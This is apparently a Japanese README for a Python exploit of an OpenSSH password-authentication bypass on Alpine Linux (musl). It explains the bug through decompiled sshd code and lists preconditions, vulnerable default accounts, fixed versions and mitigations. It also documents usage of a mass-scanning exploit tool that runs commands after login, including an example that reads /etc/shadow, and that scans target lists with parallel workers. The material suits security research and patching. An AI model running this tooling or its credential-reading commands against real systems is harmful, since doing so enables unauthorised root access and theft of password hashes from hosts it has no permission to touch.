
Alpine muslシステム上のOpenSSHパスワード認証バイパスであるCVE-2026-123158を悪用するPython PoC。自動スキャン、前提条件チェック、ログイン後のコマンド実行機能を備えています。
Alpine Linux (musl libc) における OpenSSH パスワード認証バイパス
CVSS 3.1: 8.1 (High) · CWE-394 · 公開日: 2026-11-05
報告者: Özgün Kültekin (Wakefield)
法的免責事項
このリポジトリは、教育目的、セキュリティ研究、および許可された管理環境でのテストのみを目的としています。所有者からの明示的な許可なく本資料をシステムに対して使用することは違法かつ非倫理的です。著者は、許可された範囲外での本コンテンツの使用に起因するいかなる悪用、損害、または法的結果についても一切の責任を負いません。
Alpine Linux 上の sshd は、攻撃者が 256 バイトを超えるパスワードを送信した場合、パスワードが設定されていないアカウント(shadow 内の *)に対してパスワード認証を許可してしまいます。事前の権限は不要で、SSH ポートへのネットワークアクセスがあれば十分です。
この脆弱性は、3 つの独立した設計上の決定が相互作用することによって発生します:
┌──────────────────────────────────────────────────────────┐
│ 1. musl libc — crypt() returns "*" on failure │
│ (glibc returns NULL; no ambiguity) │
│ │
│ 2. musl SHA-512 — KEY_MAX = 256 bytes │
│ password > 256B → crypt() fails → returns "*" │
│ │
│ 3. OpenSSH (CVE-2016-6210 patch) — anti-enumeration │
│ sshd ALWAYS calls crypt() even for no-password accts │
│ using a salt "borrowed" from another account │
│ │
│ RESULT: │
│ crypt("A"×300, real_salt) → "*" ← musl failure │
│ strcmp("*", "*") → 0 ← no-password acct │
│ LOGIN ACCEPTED │
└──────────────────────────────────────────────────────────┘
これは公開されているCVE情報源には記載されていない重要な詳細です。
Alpineのsshdはxcrypt.c内のpick_salt()を静的キャッシュ(salt_0)とともに使用します。このバイパスには、同一のSSH接続内で正確に2回の試行が必要です:
| 試行 | pick_salt() | pw_passwordの状態 | crypt() | 結果 |
|---|---|---|---|---|
| 1回目 | getpwent/getspnamループを実行 → muslの静的バッファを上書き | 破損(別アカウントのデータを指す) | "*" | strcmp("*", <破損値>) → 失敗 |
| 2回目 | キャッシュsalt_0 != '\0' → 即座にリターン、getspnam()は呼ばれない | 有効: 対象アカウントの"*"のまま | "*" | strcmp("*", "*") == 0 → 成功 |
muslのバッファエイリアシング: getspnam()はすべての呼び出しで単一のグローバル静的バッファを使用します。1回目の試行では、pick_salt()がソルトを取得するためにgetspnam("hashuser")を呼び出し、pw_passwordが指すバッファ(getspnam("victim")由来)を上書きします。2回目の試行ではループがスキップされ、バッファはそのまま → エクスプロイトが成功します。
このエクスプロイトはparamiko.Transportを直接使用して、同一のSSH接続内で両方の試行を実行します。
バイナリ: sshd-session (ELF x86_64、OpenSSH 9.9p2、Alpine 3.21、デバッグシンボル付き)
| 関数 | アドレス | 役割 |
|---|---|---|
sys_auth_passwd | 0x10f2e0 | メインゲート — 脆弱な条件 |
xcrypt | 0x1a7720 | pick_saltがここにインライン化(元はstatic) |
shadow_pw | 0x1a7700 | getspnam()を呼び出す — バッファエイリアシング |
pick_saltには独立したシンボルがありません。コンパイラがxcrypt内にインライン化しています。
sys_auth_passwd — 脆弱な条件// victim has shadow "*" → pw_password = "*"
char *pw_password = shadow_pw(pw);
// GATE: pw_password[1] == '\0' ← for "*" (len=1) → condition FALSE
// salt stays NULL → xcrypt() calls pick_salt()
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password; // NOT executed
else
salt = NULL; // vulnerable path
encrypted_password = xcrypt(password, salt);
return strcmp(encrypted_password, pw_password) == 0; // strcmp("*","*") → LOGIN ACCEPTED
xcrypt — 静的キャッシュ salt_0if (salt == NULL) {
if (salt_0 == '\0') { // 1st call: populate cache
setpwent();
do {
pw = getpwent();
pcVar1 = shadow_pw(pw); // getspnam() → overwrites musl static buffer!
} while (*pcVar1 != '$');
strlcpy(&salt_0, pcVar1, len);
explicit_bzero(pcVar1, strlen(pcVar1));
endpwent();
}
// 2nd call: salt_0 != '\0' → skips loop, no getspnam()
salt = &salt_0;
}
return crypt(password, salt); // musl: len > 256 → returns "*"
| 条件 | Alpine のデフォルト |
|---|---|
PasswordAuthentication yes | はい (デフォルト) |
UsePAM no (PAM なし) | はい (デフォルト、PAM 未インストール) |
shadow に * を持つ対象アカウント | はい (Alpine 3.16 以降は root、鍵認証のみのアカウント) |
$5$/$6$ ハッシュを持つ他のアカウントが少なくとも 1 つ | pick_salt() に必要 |
脆弱ではない: glibc システム (Debian/Ubuntu/RHEL)、UsePAM yes、PasswordAuthentication no、または shadow が ! (ロックされたアカウント)。
* を持つアカウント — 実環境での普及度| アカウント | コンテキスト |
|---|---|
root | Alpine 3.16 以降のデフォルト (鍵認証のみのログイン) |
alpine | Cloud-init のデフォルトユーザー (AWS、GCP、Hetzner) |
ec2-user | Alpine ベースの Amazon Linux AMI |
nobody、nginx、postgres | パスワードなしでパッケージマネージャーによって作成される |
≤ 256 bytes → rejected (crypt() works, returns real hash)
257–1024 → ACCEPTED (crypt() fails at KEY_MAX, returns "*")
≥ 1025 → rejected (OpenSSH MAX_PASSWORD_LEN = 1024)
| Alpine ブランチ | 修正済みバージョン |
|---|---|
| edge | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r6 |
| 3.19 | 9.6_p1-r3 |
| 3.18 | 9.3_p2-r4 |
| < 3.16 | 利用可能な修正なし |
アップストリームの修正: OpenSSH 10.6p2 — auth-passwd.c は、shadow フィールドが 4 文字未満の場合に一致を拒否します。
# Alpine — update openssh and restart daemon
apk upgrade -U -a
rc-service sshd restart # mandatory — installing alone does not replace the running process
# Without updating — disable PasswordAuthentication
echo "PasswordAuthentication no" > /etc/ssh/sshd_config.d/disable-pw.conf
sshd -t && rc-service sshd restart
パスワード認証を無効化する前に、鍵ベースのログインが機能することを確認してください。
usage: exploit.py (--single IP | --list FILE) [--port N] [--user NAME]
[--auto] [--scan] [--check] [--workers N] [--output FILE]
[--cmd CMD] [--size N] [-v] [-h]
required:
--single IP Single target (e.g. 192.168.1.10)
--list FILE IP list file (one per line; supports IP:port)
--port N SSH port (default: 22)
--user NAME Target user (not required with --auto)
operation mode (default: direct exploit):
--auto Test common accounts with '*' in shadow: root, alpine,
ec2-user, nobody, nginx, postgres
--scan Map the password size boundary (requires --user)
--check Check preconditions without exploiting (requires --user)
optional:
--workers N Parallel workers for --list (default: 1; recommended: <= 20)
--output FILE Save vulnerable results to .txt (append; skips non-vulnerable)
--cmd CMD Command to run after login (default: id)
--size N Oversized password length (default: 300; range: 257-1024)
-v, --verbose Verbose output with technical mechanism details
-h, --help Show this message and exit
examples:
# auto-scan a single target (tests common accounts)
python3 exploit.py --single 192.168.1.10 --port 22 --auto
# auto-scan a target list, save vulnerable results
python3 exploit.py --list targets.txt --auto --output vulnerable.txt
# parallel scan over a list (10 workers)
python3 exploit.py --list targets.txt --auto --workers 10 --output vulnerable.txt
# direct exploit on a known user with a custom command
python3 exploit.py --single 192.168.1.10 --port 22 --user root --cmd 'id && cat /etc/shadow'
# map the password size boundary
python3 exploit.py --single 192.168.1.10 --port 22 --user root --scan
# check preconditions without exploiting
python3 exploit.py --single 192.168.1.10 --port 22 --user root --check
targets.txt format:
192.168.1.10 # uses global --port
192.168.1.11:2222 # overrides port for this host
# lines starting with # are ignored
# Accepted logins in sshd logs
grep "Accepted password" /var/log/messages
# Accounts with '*' in shadow (bypass candidates)
awk -F: '$2 == "*" {print $1}' /etc/shadow